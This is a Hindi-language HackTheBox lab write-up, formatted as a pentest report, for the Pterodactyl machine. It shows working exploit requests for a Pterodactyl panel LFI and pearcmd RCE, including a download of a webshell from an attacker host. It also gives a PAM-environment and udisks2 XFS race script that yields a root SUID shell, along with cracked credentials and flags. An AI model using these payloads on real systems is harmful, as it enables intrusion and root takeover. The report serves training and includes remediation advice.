
HackTheBox — Pterodactyl (मध्यम/Linux) वॉकथ्रू। CVE-2025-49132 LFI → pearcmd RCE → bcrypt क्रैक → SSH। CVE-2025-6018 (PAM pam_environment बायपास) + CVE-2025-6019 (udisks2 XFS रेस कंडीशन, nosuid बायपास) के माध्यम से Privesc → रूट। पूर्ण नोट्स और चरण शामिल हैं।
दिनांक: April 8, 2026
लक्ष्य: Pterodactyl (HackTheBox)
कठिनाई स्तर: मध्यम
ऑपरेटिंग सिस्टम: Linux (openSUSE Leap 15.6)
परीक्षक: V0idW1re
HackTheBox पर Pterodactyl मशीन ने एक यथार्थवादी हमले का परिदृश्य प्रस्तुत किया, जिसमें एक गलत कॉन्फ़िगर की गई वेब एप्लिकेशन और श्रृंखलाबद्ध विशेषाधिकार वृद्धि (privilege escalation) कमजोरियाँ शामिल थीं। बिना प्रमाणीकरण के स्थिति से शुरू करते हुए, परीक्षक ने शोषण चरणों के तार्किक अनुक्रम के माध्यम से पूर्ण रूट समझौता (root compromise) हासिल किया। हमले की श्रृंखला में एक बिना प्रमाणीकरण के Local File Inclusion कमजोरी, रिमोट कोड निष्पादन (remote code execution) के लिए PHP पैकेज मैनेजर का रचनात्मक दुरुपयोग, क्रेडेंशियल निष्कर्षण और क्रैकिंग, और अंत में एक कम-विशेषाधिकार वाले उपयोगकर्ता से रूट तक बढ़ने के लिए दो सार्वजनिक रूप से खुलासा किए गए CVE को श्रृंखलाबद्ध करना शामिल था।
| फ़ील्ड | मान |
|---|---|
| लक्ष्य IP | 10.129.25.223 |
| होस्टनाम | pterodactyl.htb |
| ऑपरेटिंग सिस्टम | openSUSE Leap 15.6 |
| सेवाएँ | SSH (22), HTTP (80) |
| सबडोमेन | panel.pterodactyl.htb |
यह मूल्यांकन एक मानक पेनेट्रेशन परीक्षण कार्यप्रणाली के अनुसार किया गया:
गंभीरता: गंभीर
घटक: Pterodactyl पैनल v1.11.10 — /locales/locale.json एंडपॉइंट
विवरण:
Pterodactyl पैनल का locale एंडपॉइंट locale और namespace क्वेरी पैरामीटरों को सैनिटाइज़ करने में विफल रहा, जिससे डायरेक्टरी ट्रैवर्सल (directory traversal) संभव हुआ। चूंकि एप्लिकेशन namespace मान में .php जोड़ता था और इसे PHP के include तंत्र के माध्यम से लोड करता था, एक हमलावर सर्वर को फाइल सिस्टम पर मनमानी PHP फाइलें लोड करने और निष्पादित करने के लिए मजबूर कर सकता था।
शोषण:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
प्रभाव:
डेटाबेस क्रेडेंशियल config/database.php से निकाले गए:
pterodactylPteraPanelpanelLaravel एप्लिकेशन कुंजी भी config/app.php से निकाली गई।
साक्ष्य:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
गंभीरता: गंभीर
घटक: PHP PEAR इंस्टॉलेशन + LFI
विवरण:
LFI प्राइमिटिव स्थापित होने के बाद, परीक्षक ने PEAR पैकेज मैनेजर की pearcmd.php स्क्रिप्ट का लाभ उठाया। जब PHP कॉन्फ़िगरेशन में register_argc_argv=On होता है (phpinfo के माध्यम से पुष्टि की गई), तो क्वेरी स्ट्रिंग को pearcmd द्वारा कमांड-लाइन तर्कों के रूप में पार्स किया जाता है। download कमांड का उपयोग हमलावर के सर्वर से PHP वेबशेल प्राप्त करने और उसे पैनल की सार्वजनिक वेब डायरेक्टरी में सहेजने के लिए किया गया।
शोषण:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
प्रभाव:
एक PHP वेबशेल /var/www/pterodactyl/public/shell.php पर लिखी गई, जिससे wwwrun उपयोगकर्ता के रूप में बिना प्रमाणीकरण के रिमोट कोड निष्पादन संभव हुआ।
साक्ष्य:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
गंभीरता: उच्च
घटक: MySQL पैनल डेटाबेस
विवरण:
RCE शेल का उपयोग करते हुए, परीक्षक ने LFI के माध्यम से प्राप्त क्रेडेंशियल का उपयोग करके MySQL डेटाबेस से कनेक्शन बनाया। users तालिका में सभी पैनल उपयोगकर्ताओं के लिए bcrypt-हैश किए गए पासवर्ड थे। उपयोगकर्ता phileasfogg3 का हैश सामान्य वर्डलिस्ट का उपयोग करके ऑफलाइन क्रैक किया गया।
शोषण:
SELECT username, password FROM users;
क्रैक किया गया क्रेडेंशियल:
phileasfogg3!QAZ2wsxप्रभाव:
phileasfogg3 के रूप में SSH पहुंच प्राप्त की गई, और उपयोगकर्ता फ्लैग कैप्चर किया गया:
user.txt: 916235b4261e70fdb090402c641a7808
गंभीरता: उच्च
घटक: PAM कॉन्फ़िगरेशन — user_readenv=1 के साथ pam_env.so
विवरण:
openSUSE Leap 15.6 पर PAM कॉन्फ़िगरेशन user_readenv=1 के साथ pam_env.so के माध्यम से उपयोगकर्ता की ~/.pam_environment फाइल को सोर्स करता है। इस फाइल में विशिष्ट पर्यावरण चर सेट करके, एक गैर-विशेषाधिकार प्राप्त SSH उपयोगकर्ता systemd-logind और Polkit को यह विश्वास दिला सकता है कि सत्र एक सक्रिय भौतिक कंसोल सत्र है, जिससे allow_active विशेषाधिकार प्राप्त होते हैं।
शोषण:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
SSH के माध्यम से पुनः कनेक्ट करने के बाद, सत्र को Active=yes के रूप में मान्यता दी गई, जिससे udisks2 D-Bus विधियों के लिए गैर-विशेषाधिकार प्राप्त कॉल संभव हो सके, जिन्हें सामान्य रूप से भौतिक कंसोल उपस्थिति की आवश्यकता होती है।
साक्ष्य:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt
गंभीरता: गंभीर
घटक: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
विवरण:
जब udisks2 libblockdev के माध्यम से XFS फाइल सिस्टम का आकार बदलता है, तो यह फाइल सिस्टम इमेज को अस्थायी रूप से /tmp/blockdev.* के अंतर्गत एक विश्व-सुलभ डायरेक्टरी में nosuid और nodev माउंट फ्लैग के बिना माउंट करता है। यह एक संक्षिप्त रेस कंडीशन विंडो बनाता है, जिसके दौरान इमेज में मौजूद किसी भी SUID बाइनरी को उन्नत प्रभावी UID के साथ निष्पादित किया जा सकता है।
allow_active Polkit विशेषाधिकारों (CVE-2025-6018 के माध्यम से प्राप्त) वाला एक हमलावर निम्न कार्य कर सकता है:
udisksctl loop-setup के माध्यम से लूप डिवाइस सेट करेंXFS इमेज संगतता पर महत्वपूर्ण नोट:
XFS इमेज को openSUSE Leap 15.6 (SP5/SP6) के लिए विशिष्ट फ्लैग के साथ बनाया जाना चाहिए:
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
शोषण:
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
साक्ष्य:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
रूट फ्लैग:
root.txt: d3a242011c18cb81f08ad80337330641
| फ्लैग | मान |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Unauthenticated]
↓ CVE-2025-49132 (LFI)
[Database Credentials]
↓ pearcmd RCE
[wwwrun shell]
↓ MySQL credential dump + hash crack
[phileasfogg3 SSH]
↓ CVE-2025-6018 (PAM bypass → allow_active)
↓ CVE-2025-6019 (udisks2 XFS resize race)
[root]
लक्ष्य प्रणाली का पूर्ण समझौता। इस स्तर की पहुंच वाला एक हमलावर निम्न कार्य कर सकता है:
यह रिपोर्ट HackTheBox लैब अभ्यास के भाग के रूप में शैक्षिक उद्देश्यों के लिए तैयार की गई थी। सभी परीक्षण एक कानूनी, पृथक लैब वातावरण में किए गए थे।
| निष्कर्ष | उपचार |
|---|
| CVE-2025-49132 (LFI) | Pterodactyl पैनल को v1.11.11 या उसके बाद के संस्करण में अपग्रेड करें, जो locale/namespace पैरामीटरों पर सख्त अल्फ़ान्यूमेरिक सत्यापन लागू करता है |
| pearcmd RCE | php.ini में register_argc_argv=Off सेट करें; यदि आवश्यक न हो तो PEAR हटा दें |
| कमजोर पासवर्ड | मजबूत पासवर्ड नीतियां लागू करें; पासवर्ड मैनेजर का उपयोग करें |
| CVE-2025-6018 (PAM) | pam_env.so के लिए PAM कॉन्फ़िगरेशन में user_readenv=0 सेट करें |
| CVE-2025-6019 (udisks2) | udisks2 और libblockdev को पैच किए गए संस्करणों में अपग्रेड करें; org.freedesktop.udisks2.modify-device के लिए Polkit नियम संशोधित करें ताकि allow_active को yes से auth_admin में बदला जा सके |